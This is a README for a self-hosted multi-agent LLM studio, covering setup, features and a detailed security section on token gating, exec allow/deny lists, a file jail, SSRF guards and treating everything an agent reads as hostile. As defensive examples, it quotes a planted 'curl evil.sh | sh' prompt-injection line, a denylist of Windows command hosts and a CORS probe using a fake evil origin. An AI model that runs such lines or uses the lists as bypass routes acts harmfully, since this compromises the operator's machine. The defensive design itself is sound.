โ๏ธ NEW: Glass Themed Desktop โ the new face of the studio: ๐ floating glass cards on an edge rail, ๐๏ธ Config that flies out of its own label, ๐ฌ a chat you can drag wider or throw to the full screen, ๐ธ๏ธ the map front and center with its button group lifted into the header, and ๐ชถ panels that tuck away while you read a node. Pick it in Config โ Interface โ no reload, and nothing you had set is lost.
NOTE: The Glass Theme is pretty GPU-resource-heavy, with all its shaders and animation. โน๏ธ See Config โ Desktop and/or Config โ Resource Manager for scaling options. OR...
๐๏ธ Classic is the DEFAULT โ perfect for all systems and devices! โ and it is the picture right below. Setup panel, chat and map/network panel side by side, nothing behind a rail, everything where it has always been.
Newest first. ๐ Each entry names what shipped in that release; everything older has been folded into the โจ What's inside feature list and the ๐ Security section, where it stays as reference. The most recent release sits at the top.
Pressing Start in training mode now sends the drill into chat itself โ every active agent works it at once, so messages, the map, metrics and trace all move exactly as usual. And a restore that fails part-way now says what landed before it stopped instead of a bare "failed".
| arming still throttles to ~50% and locks the prompt, but Start also posts the drill as a turn (or steers it into a running one) โ an idle fleet no longer sits silent; with no active agents it says so | |
| ๐งพ Honest restore report | sections land in order, so a late write failure now names the sections already on disk plus the one that choked, instead of reading as "nothing worked" |
Jump straight to a section โ every heading on this page is linkable; these are the ones worth a jump.
๐ Start here
- ๐ Quick start
- ๐ Is it safe?
- ๐ What's new
- โจ What's inside
- ๐ฅ๏ธ Two interfaces, one switch
- ๐๏ธ Config โ Desktop
๐ง Using the studio
๐ Security & guardrails
๐ overview ยท ๐ token ยท ๐ฆ approvals ยท ๐งพ allow/deny ยท ๐งฑ the jail ยท ๐ no shell ยท ๐งฌ atomic edits ยท ๐ git ยท ๐ SSRF ยท ๐ต๏ธ secrets ยท ๐ผ๏ธ vision ยท ๐ browser gate ยท ๐ค MCP server ยท ๐งท injection ยท ๐ซ defaults ยท ๐งฏ fails closed ยท ๐๏ธ storage ยท ๐งช guard tests ยท ๐ no CORS ยท ๐ฅ๏ธ programs ยท ๐ masked reads ยท ๐ local-only ยท ๐งพ trace integrity ยท ๐งช suite isolation
โจ Features
- ๐ผ๏ธ Images & vision
- ๐๏ธ Voice & audio
- โจ๏ธ Slash commands
- โพ๏ธ Always-On
- โ Global pre-prompt override
- ๐งญ The apps notch
- ๐ง The context assembler
- ๐ ๏ธ Tools agents can use
- ๐งญ The provider harness
- ๐ง Dynamic tools & the learned dialect
- โฑ๏ธ Throttle / limiter / pacer
- ๐ API pool
- ๐ Proxy
- ๐ Metrics & ๐ Run trace
- ๐ธ๏ธ Network & topology
- ๐งฎ Resource Manager
- ๐ญ Thinking & reasoning
- ๐ง Memory
- ๐พ Export & import
- ๐ Updates โ check, download, verify, install
๐ Integrations ยท ๐ฑ Platform ยท ๐ Reference
- ๐ MCP client
- ๐ฅ๏ธ MCP server
- ๐ฑ Android & mobile
- ๐งฉ Architecture
- ๐งช Tests
- ๐ Releasing a version
- ๐ API endpoints
- ๐งฏ Troubleshooting
- ๐ License
start.batโ the one-click launcher. First run installs XAMPP (Apache + PHP only, no MySQL), links this folder intohtdocs\router, configures Apache, creates the access token, starts it and opens the app. Later runs just start Apache. Use this when several agents run at once: Apache is multi-threaded.start-php.batโ legacy built-in server (single-threaded). Fine for one agent at a time, or on machines where Apache cannot run.setup-xampp.batโ repair / advanced installer, used bystart.batautomatically. Run it directly to reinstall XAMPP or pick another port (setup-xampp.bat -Port 8090).
๐งตAutonomous' implementation of Apache / PHP is not single-threaded โ and that is exactly the point.
Apache serves many requests at once (a pool of worker processes and threads), so a
whole team of agents really does run in parallel.
Autonomous ships the workaround: one click installs XAMPP
(Apache + PHP only), points it at a free port, loads the mod_* modules the
app's .htaccess needs, links the folder and starts a genuinely concurrent
server โ zero configuration, no database, nothing to hand-tune. That is the
mold this project breaks: a multithreaded local server, deployed in one click.
(start-php.bat remains for the rare machine where Apache cannot run; it is the
slow single-threaded fallback.)
*PHP's own built-in server is the opposite:
php -Sis a single process, so one streamed model reply holds the only slot for its entire duration while every other agent โ and the browser's own state polling โ queues behind it until the fetch dies withNetworkError. Windows PHP cannot fork, and the usual local Windows PHP setups either accept that limit or expect you to install and hand-edit Apache/FPM yourself. *
./start.sh # or ./start.sh 8090 for another portThe one-folder design means storage/ (the token, provider keys, every session
and the exec allow/deny lists) lives inside the app folder. That folder must
never be reachable over HTTP. Everything here is about keeping it that way. ๐
The same rules also cover tests/: dev tooling that never runs at runtime, but
that nobody else needs to read either. The full grid โ every path against every
serving mode, dotfiles and case variants included โ is in
Security & guardrails โ ยง16, and the rules are tested by making the real
request (ยง17). ๐งช
- ๐ก Apache โ
storage/.htaccessandtests/.htaccessship with the app and deny their whole folder (Require all denied, with a 2.2 fallback)../setup-token.shre-creates the storage one if a deploy lost it. Just make sureAllowOverridelets.htaccessapply (the XAMPP installer sets this for you). The app root.htaccessalso refusesstorage,logs,tmp,sessionsandtestsas a path segment at any depth โ a backup or archived copy of the app kept inside the web root brings its ownstorage/andtests/, and a copy made beforetests/.htaccessexisted would otherwise serve its test files in full. That guard isRedirectMatch 403(mod_alias), not aRewriteRule: a child.htaccessreplaces its parent's per-directory rewrites, so a rewrite never sees the nested path, while mod_alias config merges normally. - ๐ด nginx โ ignores
.htaccessentirely, so you must add the rules yourself. Ship the includednginx.example.confinto yourserver{}block (it deniesstorage,logs,tmp,sessionsandtestsas a path segment at any depth โ so a backup or an archived copy of the app kept inside the web root cannot expose its ownconfig.jsonโ plus dotfiles and loose.json/.log/.ini/.bak/.key/.pemfiles), thennginx -t && systemctl reload nginx. A file whose name merely contains one of those words (ui/js/storage.js,ui/js/tests.js) is still served. - ๐ต IIS โ add a
web.configat the app root that blocks thestorageandtestssegments, e.g.:<configuration><system.webServer><security><requestFiltering> <hiddenSegments> <add segment="storage" /><add segment="logs" /><add segment="tmp" /> <add segment="sessions" /><add segment="tests" /> </hiddenSegments> </requestFiltering></security></system.webServer></configuration>
- ๐งช The PHP built-in server (
start-php.bat/php serve.php) already refuses/storage,/logs,/tmp,/sessions,/testsand dotfiles with a403โ no config needed. - โ
Verify it, don't assume it. After any deploy, fetch
https://your-host/router/storage/config.jsonandhttps://your-host/router/tests/js/run.mjsin a private window. You must get 403 / 404 for both โ never JSON or source. If you do, stop and fix the rule above before doing anything else. ๐จ
The launchers install PHP + the extensions it needs (curl, openssl, mbstring, fileinfo, zip) without touching your own php.ini, bundle CA certs so HTTPS verifies, and print an access token once. Paste it into Config โ Access token in the app โ it saves on paste (there's no SAVE for that field, on purpose).
On Windows the app opens at http://localhost:8080/router/ (Apache); on Linux/macOS it opens at http://127.0.0.1:8080/. If you miss the token, run start.bat -Token to print it again. Nothing ships with keys โ add your own providers in the Providers tab.
Short answer: it runs on your machine, against your keys, and every dangerous capability is off until you switch it on. The full argument is Security & guardrails below โ this is the answer to what people assume before they read it.
| If you assumed | What is actually true |
|---|---|
| ๐ธ โIt phones home, or needs an accountโ | No accounts, no cloud service, no analytics. Plain PHP and static files on your own host; the only outbound calls are the provider endpoints you configure. |
| ๐ โIt ships with someone's keysโ | Nothing ships with a token or a key, and a fresh copy refuses to serve (503) until ./setup-token.sh creates one. |
| ๐ โAny website can drive itโ | Every API route is token-gated, CORS has no wildcard, and a copy with no token answers 403 to anything not on this machine. |
| ๐ โThe model gets a shellโ | exec takes an argv array โ no sh -c, no pipes, no redirects โ matched against your allowlist and denylist, and it asks first. |
| ๐๏ธ โIt can read my secretsโ | Every path resolves through the jail, and storage/, .env*, *.pem, *.key and dotfiles are refused even inside an allowed root. |
| ๐ โIt can reach my networkโ | fetch_url and http_request refuse private and cloud-metadata hosts; the built-in browser enforces a block list on every navigation. |
| ๐ข โIt ships switched onโ | exec, run_code, the browser and the MCP server are off by default, auto-approve is off, and a global deny button sits in front of every write. |
| ๐งช โThose guards are just proseโ | Each is tested by making the real request โ guards, apacheGuards, nginxGuards, secrets, programs, tls โ in the suite you can run yourself. |
โ๏ธ What it is not: a fence around the operator. Turn everything on, auto-approve writes and point the root at
/, and you have built a very capable foot-gun. The design makes the safe choice the default, not mandatory โ and it cannot read your mind. ๐
๐งช Prove it in one command. Point this at your own copy โ every line asserts a refusal, so it fails loudly instead of asking you to believe the table:
BASE=https://your-host/router # or http://127.0.0.1:8080
fail=0
code() { curl -s -o /dev/null -w '%{http_code}' "$1"; }
for p in storage/config.json storage/sessions tests/js/run.mjs .git/config; do
c=$(code "$BASE/$p")
case $c in
403|404) echo "refused $p -> $c" ;;
*) echo "OPEN $p -> $c"; fail=1 ;;
esac
done
# A foreign Origin must get no Access-Control-Allow-Origin back at all.
if curl -s -D - -o /dev/null -H 'Origin: https://evil.example' "$BASE/api/state" \
| grep -qi '^access-control-allow-origin'; then
echo "OPEN cross-origin header returned"; fail=1
else
echo "refused cross-origin request"
fi
[ $fail -eq 0 ] && echo "storage, tests, dotfiles and CORS are all closed." \
|| echo "Something above is OPEN โ fix it before anything else."It answers 403 (or 404 behind nginx, which refuses rather than denies) for the token store, the sessions folder, the test tree and .git โ and the API sends no cross-origin header unless you listed that origin in ROUTER_CORS_ORIGINS. ยง16 has the per-route grid and each serving mode's rules.
The API itself is deliberately not pass/fail there, because its status states which posture you are in: 401 when a token is set and the request omits it, 403 when the gate is off and you are calling from another machine, 503 on a fresh copy with no token at all, and 200 from this machine while a copy has no token โ local-only mode working as documented, not a hole. Set a token and that last case closes.
With the tree in hand, the other one-command proof is the suite: node tests/run.mjs ends with All suites passed. or a FAIL line, and the guards are among the files it runs.
The same checks ship as a script, so CI or an operator never has to paste them: ./tools/check-guards.sh --serve boots a throwaway copy of this tree and checks itself, ./tools/check-guards.sh https://your-host/router checks a deployment, and --token ABC additionally requires the API to answer 200. Exit codes are the verdict โ 0 every refusal held, 1 something answered, 2 a usage or setup problem.
| ๐ค Any model, any provider | OpenAI, OpenRouter, NVIDIA NIM, Anthropic, Google, Groq, DeepSeek, xAI, Mistral, Cerebras, Together, Perplexity, Ollama, LM Studio, vLLMโฆ |
| ๐งญ Auto-fitting harness | Detects each provider's API shape and tool dialect, speaks it correctly, and reads the reply back โ a runner's own output envelope included |
| ๐ง Brain Lab | Every per-agent setting, locks, memory, files and custom tools in one rail |
| ๐งช API Lab | Paste a curl โ get it in 10 languages โ actually send it server-side |
| ๐ Routing chart | Draw workflows: agents, loops, checkpoints, delays, parallel fan-out |
| ๐ ๏ธ Real tools | Files, shell, web, a code interpreter, git, editors, MCP โ with timeouts that end the process instead of the turn, argv shapes models actually write, and approvals that resume the agent where it left off |
| ๐ Background commands | exec_start runs a server, watcher or anything that never exits and hands back a handle at once; exec_poll reads its output and says whether it is alive, exec_kill stops it |
| โฑ๏ธ Pacer / limiter | Per-key rate limiting that knows each provider's free-tier ceiling, and gives a slot back when a call is cancelled or goes out early โ a learned 429 reaches callers already queued |
| ๐ Metrics + ๐ trace | Uptime, requests, tokens, budgets, and a live run timeline |
| ๐ฃ๏ธ Conversations, in words | Every hop keeps its text โ your prompt, the task a coordinator hands down, an agent-to-agent ask with its answer, the reply, and a question typed in the map's ASK box: a Comms tab beside the run trace, a per-agent Talk / Runs drawer (All / agent-to-agent) opened from either map, a failed ask that stays visible, and a beam you can hover to read โA โ B: โฆโ. |
| ๐ฃ One name, the whole roster | ask_agent / tell_agent take "ALL" (or everyone / everybody, any case): ask each agent in turn with replies labelled by agent, or post one instruction to every mailbox โ and an agent really called "All" keeps its name |
| ๐ง Memory | Private + collective long-term memory the agents actually use |
| ๐ Locked down | Access token, approvals, allow/deny lists, jailed filesystem |
| ๐ Verified calls | Model and speech calls check the peer certificate and the hostname โ Auto exempts LAN and loopback so local runners keep working, Always / Never are explicit choices saved as tls.verify, and tls.ca_bundle can point at a PEM you manage yourself |
| ๐ Pinned certificates | Read the chain a host actually presents, see its SHA-256, and store it in storage/tls/trusted.pem โ every pin is listed in Config โ TLS / Certificates with fingerprint, expiry and pin date, and FORGET drops one |
| A pin inside 30 days reads EXPIRES IN n DAYS in the list and raises a bell notification naming the host, so a renewed server certificate is re-pinned before it becomes an outage | |
| ๐งญ Per-agent API shape | Pin one agent's harness โ OpenAI-compatible, Anthropic, Google, Ollama โ instead of relying on detection |
| ๐ง Reasoning, in its own box | Every shape's thinking โ reasoning_content, Anthropic thinking blocks, Google thought: true parts, a runner's {"type":"reasoning"} blocks โ lands in a collapsible panel on the message, and Config โ Interface pins it Auto, always open or always collapsed |
| ๐งฐ A sandbox per agent | Add as many jail roots as you like in Brain Lab and hand a different one to each agent; the global default stays exactly where it was. |
| ๐ MCP client + server | Connect to other MCP servers, or let a friend connect to you |
| ๐จ Themes | Dark, Matrix, Cyberpunk |
| ๐ผ๏ธ Vision | Attach images for vision-capable agents โ the bytes never hit the server |
| ๐๏ธ Voice | ๐ค speech-to-text in, ๐ spoken replies out, with per-agent pitch |
| โจ๏ธ Slash commands | /CODE, /ROLE, /NAME, /ALL, /? โ address agents from the composer |
| โฌ๏ธ Scroll to latest | With Auto Scroll off, scrolling up reveals a โจ button parked above the composer; clicking it jumps to the newest message and follows new output until you scroll up again, and scrolling up with Auto Scroll on pauses the follow instead of yanking the transcript |
| ๐ฌ Prompt rail | One short tick per prompt down the right edge of the chat box, newest at the bottom โ hovering names it, clicking jumps straight there and flashes the landing |
| ๐พ Export / import | Take a session out, or back up the whole state under a name you choose with one checkbox per section โ agents, providers & keys, models, settings, memory, pipelines, conversations, metrics, sessions, shell config, approvals โ and restore any of it onto any copy. A section the file lacks is left alone rather than blanked, and a restore keeps this copy's own token |
| ๐ง Dynamic tools | Teaches each model the environment it's really in โ and learns the tool dialect that works |
| ๐ API pool | Rotate a provider's extra keys after N requests; rest them on a 429 |
| ๐ Built-in browser | A real Chrome/Edge you and the agents drive โ watch, click, type, log in |
| โพ๏ธ Always-On loop | Standing goals, auto re-prompted on a cadence โ caps, hold/release, one master kill switch |
| ๐๏ธ Training mode | A paced tool drill for every active agent โ ~50% request rate, simple tasks in training/, retry-until-pass with todo logging โ armed from a dumbbell in the Agents header โ Start posts the drill into chat so the whole run stays visible |
| โ Global pre-prompt | One instruction for every agent โ prepend (default) or replace, toggled live |
| ๐ง Context assembler | History & tool output budgeted to each model's real window, with live compaction |
| ๐งญ Apps notch | One thumb-tab to the Labs, the routing chart and the built-in browser |
| ๐งฎ Resource Manager | Optional pause / idle throttles + CPU/GPU gauges so the 3D graph can rest |
| ๐ธ๏ธ MCP on the graph | Outgoing calls and incoming friends drawn as live nodes with editable access |
| ๐ฅ๏ธ Two interfaces | Classic (default) and Desktop 2026 โ one switch, same features, same store |
| ๐๏ธ Desktop card | Fog ยท bloom ยท floating floor ยท floor pin ยท map detail ยท frame cap ยท glass โ tuned defaults, every knob exposed |
| ๐ Proxy | Hundreds of live HTTP proxies โ elite and anonymous only โ with ping, uptime and favourites; one click routes outbound traffic through it โ every endpoint on your own network goes direct |
| ๐ Self-updates, one click | A load-time check that names what shipped, asked again within the hour and offered on every load until installed, a verified download that shows the diff, and an installer that keeps a rollback copy first โ your settings are never in scope |
| ๐ฅ๏ธ Agent-opened programs | An agent may name a program on your list and it opens detached, so the window outlives the reply โ closed gracefully, always by the binary and never by name, and audited as started |
| โจ๏ธ Typing into programs | window_type brings an open window forward and types into it live โ 2000 characters per call, special keys literal, newlines as ENTER, and a send that fails loudly if the window never came forward. It finds Windows 11's packaged Notepad, waits for a slow starter, and keeps its own Ask / Allow / Deny switch |
| ๐ต๏ธ Masked reads | The config routes answer ******** instead of your access token, keys and friend tokens โ and the write path restores the real value |
| ๐ Local-only mode | Until a token is set, only requests from this machine are answered โ anything else gets 403 |
| ๐ฑ Mobile-first | Built for the phone in your pocket: the composer rides above the open keyboard, URL-bar wiggles are ignored, and an Allow choice finally sticks |
Draw the flow instead of describing it.
Nodes โ agent, parallel, merge, checkpoint, delay, loop, end.
Loops carry per-lap state, and parallel fan-out runs every ready node concurrently โ the scheduler handles it.
Checkpoints pause the run for review before it continues downstream.
Delays wait a duration or until a wall-clock time, and hold only their own branch.
Live run state shows on the edges (marching + glow while running, settle when done), with a faint ghost transcript of the chat behind the canvas and an align-to-grid snap (off by default). A notification bell lists run errors/warnings.
One rail for everything about the selected agent:
The full rail, locks, and the Config tidy-up
- Identity โ name, label, role, provider, model, colour, active.
- Prompts & Profiles โ the agent's system prompt, an always-append box, and reusable direction profiles you can attach and lock. (A fleet-wide override lives in the Agents-tab header โ see Global pre-prompt override.)
- Direction profiles โ reusable, lockable instructions you can attach and append to any agent, so a house style is defined once and shared.
- Rate / Throttle โ per-agent pacing.
- Approvals & Tools โ per-tool allow / ask / deny, plus a tool protocol picker that shows the auto-detected dialect.
- Custom tools โ define your own, straight from the rail.
- Sandbox โ a per-agent file jail and the file manager.
- Memory โ private and collective notes, a Long-term-memory switch, and delete buttons (forgetting is a first-class action).
- Always-On โ a standing goal, loop cadence, and a live RUNNING/HELD/IDLE badge. (Full walk-through in Always-On โ the loop that runs itself below.)
Every setting has a ๐ lock: unlocked agents follow the global value live; a lock pins the agent to its own value so a global change never moves it. ๐
Note: The "Memory", "Prompts and Profiles", "Agent Files", "Approvals and Tools" sections โ thinly veiled security research tools. ๐ง ๐๐
!!!DISCLAIMER!!! - For educational and research purposes only! - I take no responsibility for your actions. I don't even plan on taking responsibility for my own actions.
Opened from the ๐งช icon in the Agents-tab header.
Both directions, server-side sending and guardrails
- Both directions:
curl โ request โ 10 languages, andlanguage โ request โ curl/bash/Python/TypeScript/OpenAI-SDK. - Sending is server-side, because the browser can't reach most providers (no CORS headers). The server runs the request and returns the status + body.
- Guardrails: http/https only; cloud-metadata addresses refused; key-shaped headers masked on screen (copy/send still use the real value); response bodies truncated.
A real Chrome or Edge, right inside the console โ ๐ซ no packages, ๐ซ no extensions, just the DevTools Protocol. ๐ฅ๏ธ Open it from the Browser item in the apps notch and you get the live page, an address bar, Go / Reload, a Live auto-refresh, a headless โ window toggle, and a click-through view: tap the page and it clicks. โจ
Click, type and read, logins, gates and the block list
- ๐ฑ๏ธ Click, type, read โ click anywhere on the screenshot, type into the field you need, press Enter, and pull the page's visible text.
- ๐ค Agents use the same page โ
browser_open/browser_click/browser_type/browser_read/browser_waitdrive it too, so a model can genuinely operate a web app. - ๐ Logins stick โ the profile is persistent: log in once (headless, or in a window you can take over ๐ซณ) and both you and the agents reuse the session.
- ๐ก๏ธ Off by default and gated โ Config โ Labs โ Browser switches it on; http/https only, cloud-metadata addresses refused, and every route is token-gated.
- ๐ซ A domain / URL / IP block list โ a right-rail box on the Browser screen. One pattern per line,
*wildcard:*.gov,*word*, a bare host/IP (10.0.0.1), or a URL path (site.com/a/b/). Enforced server-side on every navigation โ yours and the agents' โ and re-checked after a click or type in case a link reaches a banned host. - ๐ One browser, reaped โ launching (or stopping) reaps any stray headless Chrome/Edge still holding the profile dir, so orphan instances never pile up and chew CPU/GPU.
- โก No multi-second stalls โ DevTools HTTP is read by exact
Content-Lengthover a raw socket, navigation returns the moment the page is interactive, and every action is single-flight so a slow page can't stampede the connection pool.
The short version: giving a language model a shell, a filesystem and the web is normally a terrifying idea. So this app assumes the model is hostile, the web content it reads is booby-trapped, and the only trustworthy actor is you, the operator. Every capability is off until you switch it on, every dangerous action asks first, and every escape hatch has a floor beneath it. Nothing ships with a key ๐, nothing runs before a token ๐, and no tool can reach past the fence you drew. ๐งฑ
- ๐ช Every single API route is gated. With a token set, a request without it gets
401; a copy withrequire_tokenon but no token at all answers503 {"error":"no token configured"}; and withrequire_tokenoff, a caller that is not on this machine gets403 local requests only(ยง21). The only thing standing between a stranger and your agents' conversations, your files and your shell; the app has no user accounts, on purpose. - ๐งฌ Nothing ships with a token. A fresh copy refuses to serve anything until you run
./setup-token.sh(or the one-click installer does it for you) โ the503above is what anyone gets until then. You literally cannot forget to set one. - ๐ต The token never roams. It is a device-local credential, stripped from every state bundle before it is mirrored to the server or synced to another device. One browser's empty field can never wipe another device's working paste.
- ๐ Rotate on demand โ
./setup-token.sh --forcemints a new one; the old value dies instantly. - ๐งท A restore cannot hand the gate away. RESTORE keeps this copy's own access token, gate and roots even when the file came from an installation with a different token โ so restoring someone else's backup can neither lock you out of your copy nor open it with theirs.
- ๐ Lost it?
./setup-token.sh --showprints the one in use and says whether the gate is on or off. It needs python or php โ whichever answers, php being the one a running copy cannot be without โ and on Windowsstart.bat -Tokenprints the same token with no interpreter at all.
- โ Ask-first by default.
write_file,exec,run_code,git_commitand their friends queue a prompt you answer: Allow once / Always / Deny. - ๐ข Auto-approve is opt-in โ an explicit switch you flip, never an inherited default. Turn it on and any agent may write files without asking; leave it off and a human stays in the loop.
- ๐ Auto-deny โ the panic button. One switch refuses everything that would otherwise ask, instantly, everywhere.
- ๐ฅ A single Pending-approvals queue collects everything waiting (from every agent and every remote MCP friend) so nothing slips through unseen.
- โ An allowlist you own decides which programs may run at all. Each command is matched argument by argument โ no glob fuzz.
- โ A denylist that wins over approvals. It is checked before the allowlist and before the approval prompt, so a name on it can never be waved through with "Always allow".
reboot,shutdown,rm,sudo,cmd,powershelland the classic foot-guns live here. - ๐ โฆbut nothing is denied forever. The list is a default, not a law: an explicit
sandbox.exec_denyinstorage/config.jsonreplaces it wholesale, and the same list is editable inline under Config โ Shell access (or an MCP card's Permissions tab). Remove a name and it becomes an ordinary command again โ refused as "not allowed" and back in the approval queue, exactly like everything else. No program is refused by name anywhere in code. - โฉ๏ธ The undo path is on screen, not in the docs. A refusal names the exact place to fix it โ "delete the
explorerline under Config โ Permissions โ Shell access โ Allow / Deny (section 4), add it to section 2" โ and says why an approval can't do it (the denylist is checked first). In that panel, Restore built-in defaults reloads the shipped list even after a custom one replaced it, so you can always see what you replaced. An empty box falls back to the built-in defaults on purpose: clearing it must not silently un-denyrmandsudo. For a genuinely empty denylist, set"exec_deny": []instorage/config.jsonโ which is what the panel's hint tells you. - ๐งจ Tripwires for metacharacters โ
|,&&,eval,xargs,envand friends are refused, so a model can't smuggle a second command through a "harmless" one. - ๐๏ธ Per-interpreter levels โ Blocked / Scripts only / Full โ so
run_codecan be dialled from "no" to "quiet scripts" to "go wild" independently ofexec. - ๐ Background commands pass the same bouncer.
exec_startgoes through the allowlist, the denylist and the approval prompt exactly asexecdoes โ a server or watcher is not a way around the gate โ andexec_killstops the handle it was given. Inline-code flags stay refused for known interpreters even when merely allowlisted, and the path guard covers unlisted commands too.
- ๐ Every path is resolved server-side.
../,..\\, absolute paths and symlinks are all resolved and then checked โ anything outside your declared read/write roots is refused with a message the model can read, not a mysterious crash. - ๐ Protected paths โ secrets are invisible even inside a root. A default deny-list (
storage/,.git,.env*,*.pem,*.key, dotfiles, โฆ) is enforced in the resolver itself, so even if you point the root at the whole app folder, the access token and every provider key still cannot be read. Clear the list to opt out โ nothing is permanent. - โ๏ธ Write scope is separate from read scope. Keep writes in a scratch folder and even a prompt-injected agent can't overwrite
Config.php,.htaccessor session data.
- ๐งฉ
exectakes an argv array, not a string. There is nosh -c, no pipes, no redirects, no$(...)โ so there is no second command to inject, ever. The dangerous parts of "running a command" simply don't exist here. - ๐ช/๐ง Windows-aware โ builtins are implemented in PHP where no
.exeexists,.cmd/.batshims are never shelled, and the prompt is told the truth about the host so it stops guessing. - ๐ค One entry covers both spellings. Policy comparisons fold case and ignore a trailing
.exe/.com, soexec_allow: [grep]matches thegrep.exeGit for Windows actually ships, and a deny entry forbashalso stopsbash.exe(the WSL launcher). Without this the lists only protected the spelling you happened to type. - ๐ช The Windows command hosts are denied by default.
cmd,powershell,pwsh,wscript,cscript,mshta,rundll32,regsvr32,msiexec,wmic,schtasks,sc,reg,regeditandexplorerare each the local spelling ofsh -cโ the payload rides inside an argument, so the allowlist, the path guard and the jail never see it. They are defaults you can remove, not permanent refusals: that is the difference between a policy and a hardcoded block.
- ๐งท
apply_patch(V4A) andmulti_editare all-or-nothing. Every hunk must match its context exactly once; one miss and nothing is written โ no half-applied file, no corrupted source. - ๐ Read-before-write is the taught workflow, and search/replace refuses an ambiguous match rather than guessing which one you meant.
- ๐ A subcommand allowlist โ read-only commands (
status,diff,log,show,blame) run freely; anything that writes (add,commit,checkout, โฆ) asks first. - ๐ซ Retargeting flags refused โ
-c,--git-dir,--work-tree,--outputcan't be used to point git at somewhere it shouldn't go.git_commitsupplies a safe default identity so it works on a clean host.
- ๐ฐ๏ธ
fetch_urlandhttp_requestrefuse private and cloud-metadata hosts by name โ169.254.x.x,metadata.google.internal,100.100.100.200and friends โ so a model can't use your box to probe the internal network or steal cloud credentials. - ๐
http/httpsonly. SpoofedHost,Content-LengthandAccept-Encodingheaders are stripped; responses are truncated so a giant page can't exhaust memory. - ๐งช The API Lab keeps the same rules and names the layer it failed at (dns / tls / connect / timeout / blocked) instead of leaking a stack trace.
- ๐ The certificate is checked, not assumed. Every outbound model and speech call used to carry
CURLOPT_SSL_VERIFYPEER => false, so any host that answered was trusted with the API key and the prompt โ a cafรฉ network, a shared VPS neighbour or a proxy from a free list could stand in for the provider. Verification is on now: Auto (default) verifies real providers and exempts loopback, private ranges,.local/.lan/.internalnames and single-word host names so a self-signed local runner still works; Always verify covers those too; Never verify is an explicit choice saved instorage/config.jsonundertls.verify, and the panel spells out what it means. Plainhttp://endpoints are untouched โ there is no certificate in that exchange to check. - ๐ A pin is a fingerprint, not a checkbox. Trusting a LAN host means reading the chain it presents, seeing the SHA-256, and confirming it:
storage/tls/trusted.pem, listed in Config โ TLS / Certificates with its expiry, removable with FORGET (the last removal deletes the file, because an empty CAINFO fails every call while a missing one simply means nothing is pinned).tls.ca_bundlecan still point at a PEM you manage yourself; an explicit bundle wins over pins and the panel says when it does. Nothing is ever written outsidestorage/tls/, and a certificate close to expiry is named in the TLS panel and in the bell before it becomes an outage.
- ๐ Key-shaped headers (
Authorization,x-api-key,Cookie, โฆ) are masked in the UI โ display only. Copy and send still use the real value, and the server never echoes request headers back. - ๐ The converter lesson, learned the hard way. Saved browser pages faithfully preserve secrets. The app now keeps such dumps out of the webroot, and the guidance is plain: strip keys before saving a page.
- ๐งจ An image that is also a script is the classic polyglot attack. Only PNG / JPEG / WebP / GIF are accepted, and only after they sniff as inert.
- โ๏ธ The bytes never touch the server. An attached image becomes an in-memory
data:URL and rides in the request'simage_urlfield โ no upload endpoint, no file on disk. ๐๏ธ
- ๐ช Off by default; every browser route returns 403 until you enable it (and the API refuses the tools regardless of what a prompt says).
- ๐
http/httpsonly, cloud-metadata refused, and a server-side block list (*.gov,*word*, bare hosts/IPs, URL paths) is enforced on every navigation โ yours and the agents' โ and re-checked after a click or type in case a link reaches a banned host. - ๐ One instance, reaped. Launching reaps any stray headless Chrome/Edge still holding the profile dir, so there is never a pile of them chewing CPU/GPU.
- ๐ซ Per-friend tokens, each with a scope โ read / write / exec โ plus an optional IP allowlist and one-click revoke. Tokens never expire until you kill them.
- ๐ Scope is a ceiling, the Sandbox is the floor. A friend's token only decides which tool it may reach; the call still runs through every control above โ the file jail, allow/deny lists, interpreter levels, code gate and the approval queue.
- โณ An un-allowed command lands in your Pending-approvals list and the friend's call simply returns "waiting for the operator."
- ๐๏ธ Friends work in a scratch folder that gets a deny-all
.htaccess, so what they write is never served over the web. - ๐งพ Every call is audited to
storage/mcp.log(now JSON, so the graph can replay it).
- Abandon all trust, ye who
fetchhere. Anything an agent reads is treated as hostile input โ which is exactly why commands are allowlisted, executed without a shell, and every path is jailed. A web page that says "runcurl evil.sh | sh" hits three walls before it does anything: the allowlist, the no-shell exec, and the deny list. - ๐ ๏ธ Tool calls win the argument. The tool instructions state plainly that a tool call is the one exception to any "reply with only text / N words" rule, and the loop re-prompts once if a model merely narrates a tool call instead of sending it.
- ๐ง Agents can call MCP servers โ never add one. Server connections are operator-only.
| Capability | Default | Guardrail |
|---|---|---|
| ๐ Access token | required | 401 without it โ nothing runs first-run |
๐ exec (shell) |
off | allowlist + absolute deny + no shell |
๐ run_code |
off | per-interpreter level (Blocked / Scripts / Full) |
| ๐ Built-in browser | off | 403, http/https only, block list, SSRF guard |
| ๐ API pool | on | only engages for a provider that has pool keys โ with none, pickKey returns null and the single provider key is used exactly as before |
| ๐ฅ๏ธ MCP server | off | per-friend scoped tokens, audit log |
| ๐ข Auto-approve | off | every write still asks |
| ๐ถ๏ธ Run while tab hidden | off | a background loop can't bill you silently |
| ๐งฎ Resource Manager | all off | the graph renders exactly as before |
- ๐งฑ Fail closed โ when in doubt, refuse. A refused path reads as "outside the allowed directories", never a blank
500. - ๐งน Error hygiene โ failures come back as
{"error": "..."}with HTTP400and a message meant for the model, anddisplay_errorsstays off so stack traces and filesystem paths never leak to a browser. - ๐ Observability for you โ a live Run trace and an MCP audit log mean every model turn and tool call is inspectable after the fact.
- ๐ What it holds. The access token, every provider API key, the state bundle, every session transcript, and the exec allow/deny lists that decide which shell commands an agent may run. It is the most sensitive folder in the app, and the one-folder design puts it inside the web root โ so the refusal has to be part of the app, not a step you remember. ๐ง
- ๐งญ Same policy everywhere.
storage/is not special-cased:storage,logs,tmp,sessionsandtestsare refused as path segments, in all four serving modes, and the dev tooling is treated exactly like the secrets.
| What is requested | ๐งช serve.php |
๐ก Apache | ๐ด nginx | ๐ต IIS |
|---|---|---|---|---|
storage/config.json, state.json, sessions |
403 | 403 | 404 | 404 |
tests/php/โฆ, tests/js/โฆ |
403 | 403 | 404 | 404 |
The bare folders (/storage, /tests/) โ no listing either |
403 | 403 | 404 | 404 |
Any depth: <copy>/storage/config.json, <copy>/tests/โฆ |
403 | 403 | 404 | 404 |
โฆ/STORAGE/state.json (case variant) |
403 | 403 | 404 | 404 |
Dotfiles at any depth (.git/โฆ, .htaccess, .env, .htpasswd) |
403 | 403 | 404 | deny ยน |
Loose .json .log .ini .bak .key .pem outside storage/ |
served ยฒ | served ยฒ | 404 | served ยฒ |
/api, /api/sessions, /api/config |
served | served | served | served |
